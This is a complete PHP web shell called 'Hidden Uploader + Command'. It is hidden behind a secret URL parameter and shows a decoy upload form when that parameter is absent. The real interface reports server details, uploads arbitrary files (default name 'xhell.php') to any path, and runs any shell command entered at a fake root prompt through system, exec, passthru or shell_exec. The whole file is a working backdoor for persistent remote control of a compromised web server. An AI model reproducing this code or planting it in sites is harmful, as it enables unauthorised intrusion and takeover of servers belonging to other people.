Hidden Uploader + Command

<?php if(isset($_GET['res7ock'])){ ?> <title>Hidden Uploader</title>
<style>
@font-face {
  font-family: 'Comic Sans MS';
  font-style: normal;
  font-weight: 400;
  src: local('Comic Sans MS'), local('ComicSansMS'), url(http://fonts.gstatic.com/l/font?kit=3oir0CAJ0QJ5h5-A3AP8rRSrmRvs-bRaaQbSAUyiv7A&skey=a4ba60ff9fc73cf8&v=v8) format('truetype');
}
body {
    background:black;
    color:green;
    font-family: Comic Sans MS ;
    }
a {
    color:dodgerblue;
    font-family: Comic Sans MS ;
}
</style>
<center>
<?php
//hdd
function hdd($s) {
if($s >= 1073741824)
return sprintf('%1.2f',$s / 1073741824 ).' GB';
elseif($s >= 1048576)
return sprintf('%1.2f',$s / 1048576 ) .' MB';
elseif($s >= 1024)
return sprintf('%1.2f',$s / 1024 ) .' KB';
else
return $s .' B';
}
//func cmd
function exe($cmd) {
if(function_exists('system')) {
        @ob_start();
        @system($cmd);
        $buff = @ob_get_contents();
        @ob_end_clean();
        return $buff;
    } elseif(function_exists('exec')) {
        @exec($cmd,$results);
        $buff = "";
        foreach($results as $result) {
            $buff .= $result;
        } return $buff;
    } elseif(function_exists('passthru')) {
        @ob_start();
        @passthru($cmd);
        $buff = @ob_get_contents();
        @ob_end_clean();
        return $buff;
    } elseif(function_exists('shell_exec')) {
        $buff = @shell_exec($cmd);
        return $buff;
    }
}
// Curl Script
if(extension_loaded('curl')){
    $curls="<font color='green'><b>ON</b></font>";
    }
    else{
        $curls="<font color='red'><b>OFF</b></font>";
        }
        echo "<center><font color=red>";
//uname
        echo php_uname();
//safe_mode
     if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on") $safemode = TRUE;
else $safemode = FALSE;
if($safemode)
$buff .= "<font color=\"green\">ON</font>"; else $buff .= "<font color=\"dodgerblue\">OFF</font>";
//disc_funct
$ds = @ini_get("disable_functions");
$dis = (!empty($ds)) ? "<font color=black>$ds</font>" : "<font color=green>None</font>";
//start
    echo "<br>Safe Mode : ".$buff." | Curl : ".$curls." | IP : <font color=green> ".$_SERVER["SERVER_ADDR"]."</font> | Nserver : <font color=green> ".$_SERVER["SERVER_NAME"]." $code</font> | Server : <font color=green> ".$_SERVER["SERVER_SOFTWARE"]."</font> ";
    echo "<br>";
    echo "Disk: <font color=green>".hdd(disk_free_space("/"))."</font> / <font color=red>".hdd(disk_total_space("/"))."</font>";
    echo " </font>";
?>
<?php
//file upload
if (isset($_REQUEST['ufile'])) { $ufile = $_POST ['ufile' ] ; }
if (isset($_REQUEST['upload'])) { if ($_POST ['upload' ]){
if (@copy ($_FILES ['file' ]['tmp_name' ], $ufile )) {
$njay = "<script>alert('Sukses');</script>" ;
} else {
$njay = "<script>alert('Error');</script>";
}
}
}
?>
<pre>
+----------------------------------------------+</pre>
<form action="" method="post" enctype="multipart/form-data">
<input type="file" style="background:black;border:1px solid green;color:green;font-family: Comic Sans MS ; " name="file" />
<input type="text" style="background:black;border:1px solid green;color:green;font-family: Comic Sans MS ;height:25px; " name="ufile" value="xhell.php"/>
<input style="background: darkred;border:0;color:black;font-family: Comic Sans MS ; height:25px; " name="upload" type="submit" value="Upload" /> <?php echo "$njay"; ?>
</form>
</center>
<center>
<?php
echo "<form method='post'>
                <font>root@x48 $ </font>
                <input style='background:black;border:1px solid green;color:green;font-family: Comic Sans MS ;height:25px;' type='text' size='30' height='10' name='cmd'><input type='submit' style='background: darkred;color:black;border:0px;font-family: Comic Sans MS ; height:25px;' name='execmd' value=' >> '>
                </form>";
//cmd maz
                if($_POST['execmd']) {
                    echo ' <pre>
+----------------------------------------------+</pre> ';
        echo '<table><tr><td>';
                    echo "<pre>".exe($_POST['cmd'])."</pre>";
                    echo '</td></tr></table>';
                }
                ?>
<pre>
+----------------------------------------------+</pre>
$ Hidden Uploader $
                </center>
<?php } else { ?>
<form method="post"><input type="file"><input type="submit" name="go"></form>
<?php if(isset($_POST['go'])){echo "peak namanya juga hidden uploader ya pasti pake kata kunci lah :'v'";}} ?>